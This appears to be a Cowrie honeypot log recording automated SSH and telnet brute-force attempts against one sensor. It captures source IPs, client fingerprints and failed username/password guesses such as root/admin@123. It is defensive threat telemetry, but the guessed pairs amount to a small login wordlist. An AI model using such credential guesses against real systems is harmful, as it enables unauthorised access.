{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:14.323621Z","src_ip":"165.154.137.186","session":"9c245811a139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:14.502618Z","src_ip":"165.154.137.186","session":"ec3488eb9be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:15.599096Z","src_ip":"165.154.137.186","session":"9c245811a139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:15.759518Z","src_ip":"165.154.137.186","session":"ec3488eb9be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":59752,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dde0f6d75c0","protocol":"ssh","message":"New connection: 43.153.12.68:59752 (10.17.0.5:22) [session: 3dde0f6d75c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:16.922247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:16.928014Z","src_ip":"43.153.12.68","session":"3dde0f6d75c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:16.995348Z","src_ip":"43.153.12.68","session":"3dde0f6d75c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxdr5","message":"login attempt [ubuntu/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:17.300292Z","src_ip":"43.153.12.68","session":"3dde0f6d75c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:18.374041Z","src_ip":"43.153.12.68","session":"3dde0f6d75c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55800,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8df45234bd","protocol":"ssh","message":"New connection: 165.154.137.186:55800 (10.17.0.5:22) [session: 5c8df45234bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:21.502473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:21.508121Z","src_ip":"165.154.137.186","session":"5c8df45234bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:21.758361Z","src_ip":"165.154.137.186","session":"5c8df45234bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:22.512119Z","src_ip":"165.154.137.186","session":"5c8df45234bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:23.764984Z","src_ip":"165.154.137.186","session":"5c8df45234bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49000,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1f6a111df5","protocol":"ssh","message":"New connection: 103.82.20.28:49000 (10.17.0.5:22) [session: bc1f6a111df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:25.123879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:25.128507Z","src_ip":"103.82.20.28","session":"bc1f6a111df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:25.399074Z","src_ip":"103.82.20.28","session":"bc1f6a111df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01121984","message":"login attempt [root/01121984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:26.212220Z","src_ip":"103.82.20.28","session":"bc1f6a111df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:27.486481Z","src_ip":"103.82.20.28","session":"bc1f6a111df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f219f1825241","protocol":"ssh","message":"New connection: 165.154.137.186:55810 (10.17.0.5:22) [session: f219f1825241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:30.264807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:30.270346Z","src_ip":"165.154.137.186","session":"f219f1825241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:30.540729Z","src_ip":"165.154.137.186","session":"f219f1825241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:31.355235Z","src_ip":"165.154.137.186","session":"f219f1825241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:32.747375Z","src_ip":"165.154.137.186","session":"f219f1825241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35280,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc488647658","protocol":"ssh","message":"New connection: 165.154.137.186:35280 (10.17.0.5:22) [session: ccc488647658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:44.971543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:44.977144Z","src_ip":"165.154.137.186","session":"ccc488647658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:45.233971Z","src_ip":"165.154.137.186","session":"ccc488647658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:46.049763Z","src_ip":"165.154.137.186","session":"ccc488647658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:47.308844Z","src_ip":"165.154.137.186","session":"ccc488647658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39592,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c924d6fe7c1","protocol":"ssh","message":"New connection: 165.154.137.186:39592 (10.17.0.5:22) [session: 1c924d6fe7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:53.165476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:53.170330Z","src_ip":"165.154.137.186","session":"1c924d6fe7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:53.429648Z","src_ip":"165.154.137.186","session":"1c924d6fe7c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:54.202703Z","src_ip":"165.154.137.186","session":"1c924d6fe7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:55:55.501841Z","src_ip":"165.154.137.186","session":"1c924d6fe7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44594,"dst_ip":"10.17.0.5","dst_port":22,"session":"21284c859c65","protocol":"ssh","message":"New connection: 165.154.137.186:44594 (10.17.0.5:22) [session: 21284c859c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:04.696221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:04.702208Z","src_ip":"165.154.137.186","session":"21284c859c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:04.971397Z","src_ip":"165.154.137.186","session":"21284c859c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:05.775433Z","src_ip":"165.154.137.186","session":"21284c859c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:07.046728Z","src_ip":"165.154.137.186","session":"21284c859c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60014,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ec97794ea64","protocol":"ssh","message":"New connection: 165.154.137.186:60014 (10.17.0.5:22) [session: 3ec97794ea64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:17.426435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:17.430929Z","src_ip":"165.154.137.186","session":"3ec97794ea64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:17.687581Z","src_ip":"165.154.137.186","session":"3ec97794ea64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:18.460229Z","src_ip":"165.154.137.186","session":"3ec97794ea64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.206.80","src_port":51029,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ae307c2c5ec","protocol":"telnet","message":"New connection: 47.237.206.80:51029 (10.17.0.5:23) [session: 7ae307c2c5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:18.794437Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.206.80","src_port":51037,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d65cba206c3","protocol":"ssh","message":"New connection: 47.237.206.80:51037 (10.17.0.5:22) [session: 7d65cba206c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:56:19.635383Z"}
